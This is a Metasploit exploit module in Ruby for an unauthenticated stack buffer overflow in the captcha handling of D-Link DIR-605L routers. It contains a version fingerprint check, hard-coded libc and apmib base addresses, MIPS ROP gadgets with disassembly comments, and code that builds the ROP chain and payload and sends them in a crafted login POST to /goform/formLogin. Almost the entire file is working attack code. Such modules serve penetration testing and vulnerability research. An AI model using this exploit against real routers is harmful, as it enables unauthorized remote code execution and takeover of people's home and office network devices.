##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # Because only has been tested on a QEMU emulated environment

  HttpFingerprint = { :pattern => [ /Boa/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'D-Link DIR-605L Captcha Handling Buffer Overflow',
      'Description'    => %q{
          This module exploits an anonymous remote code execution vulnerability on D-Link DIR-605L routers. The
        vulnerability exists while handling user supplied captcha information, and is due to the
        insecure usage of sprintf on the getAuthCode() function. This module has been tested
        successfully on D-Link DIR-605L firmware 1.13 (emulated) and firmware 1.12 (real).
      },
      'Author'         =>
        [
          'Craig Heffner', # Vulnerability discovery, original exploit
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 3000,
          'BadChars'    => "\x00\x67\x26\x2b"
        },
      'Platform'       => ['linux'],
      'Arch'           => ARCH_MIPSBE,
      'References'     =>
        [
          [ 'OSVDB', '86824' ],
          [ 'URL', 'http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/' ]
        ],
      'Targets'        =>
        [
          [ 'D-Link DIR-605L 1.13', # Works on 1.12 as well
            {
              'Offset'      => 94,
              'LibcBase'    => 0x2ab86000, # According to Original Exploit by Craig Heffner
              'ApmibBase'   => 0x2aaef000, # According to Original Exploit by Craig Heffner
              #'LibcBase'    => 0x4212e000, # QEMU environment
              #'ApmibBase'   => 0x42095000, # QEMU environment
              #LOAD:000248D4  li      $a0, 1   ; set $a0 for the sleep() call
              #LOAD:000248D8  move    $t9, $s1 ; $s1 is controlled after the overflow
              #LOAD:000248DC  jalr    $t9
              'Ret'         => 0x248D4, # from libc
              #LOAD:0002B954  move    $t9, $s2 # Controlled
              #LOAD:0002B958  lw      $ra, 0x30+var_4($sp)  # allows to get controlled $ra from the stack
              #LOAD:0002B95C  lw      $s4, 0x30+var_8($sp)
              #LOAD:0002B960  lw      $s3, 0x30+var_C($sp)
              #LOAD:0002B964  lw      $s2, 0x30+var_10($sp)
              #LOAD:0002B968  lw      $s1, 0x30+var_14($sp) # allows to get controlled $s1 from the stack
              #LOAD:0002B96C  lw      $s0, 0x30+var_18($sp)
              #LOAD:0002B970  jr      $t9
              'RopJmpSleep' => 0x2B954, # from libc
              'RopSleep'    => 0x23D30, # from libc # Sleep Function Address # sleep() to flush the data cache
              #LOAD:000027E8  move    $t9, $s1 # Controlled
              #LOAD:000027EC  jalr    $t9 ; sub_22D0
              #LOAD:000027F0  addiu   $a2, $sp, 0x40+var_24 ; put pointer to the stack on $a2 # executed because of pipelining
              'RopPtrStack' => 0x027E8, # from apmi
              #LOAD:00001D78  move    $t9, $a2 ; $a2 contains a poiner to the stack
              #LOAD:00001D7C  jalr    $t9
              'RopJmpStack' => 0x01D78 # from apmi
            }
          ]
        ],
      'DisclosureDate' => 'Oct 08 2012',
      'DefaultTarget' => 0))

  end

  def check
    res = send_request_cgi({ 'uri' => '/comm.asp' })
    if res and res.code == 200 and res.body =~ /var modelname="DIR-605L"/ and res.headers["Server"] and res.headers["Server"] =~ /Boa\/0\.94\.14rc21/
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit

    shellcode = ""
    shellcode << rand_text(target['Offset'])                             # Padding
    shellcode << rand_text(4)                                            # $s0
    shellcode << [target['LibcBase'] + target['RopJmpSleep']].pack("N")  # $s1
    shellcode << [target['LibcBase'] + target['RopSleep']].pack("N")     # $s2
    shellcode << rand_text(4)                                            # $s3
    shellcode << [target['LibcBase'] + target.ret].pack("N")             # $ra
    shellcode << rand_text(0x1c)                                         # filler
    shellcode << rand_text(4)                                            # $s0
    shellcode << [target['ApmibBase'] + target['RopJmpStack']].pack("N") # $s1
    shellcode << rand_text(4)                                            # $s2
    shellcode << rand_text(4)                                            # $s3
    shellcode << rand_text(4)                                            # $s4
    shellcode << [target['ApmibBase'] + target['RopPtrStack']].pack("N") # $ra
    shellcode << rand_text(0x1c)                                         # filler
    shellcode << payload.encoded                                         # shellcode

    print_status("Sending exploit...")

    send_request_cgi({
      'method' => 'POST',
      'uri' => "/goform/formLogin",
      'encode_params' => false,
      'vars_post' => {
        'VERIFICATION_CODE' => 'myvoiceismypassportverifyme',
        'VER_CODE'          => '1234',
        'login_n'           => 'admin',
        'FILECODE'          =>  shellcode,
        'curTime'           => '1348588030496',
        'login_pass'        => 'Zm9vb255b3UA',
        'login_name'        => 'admin'
      }
    })

  end
end
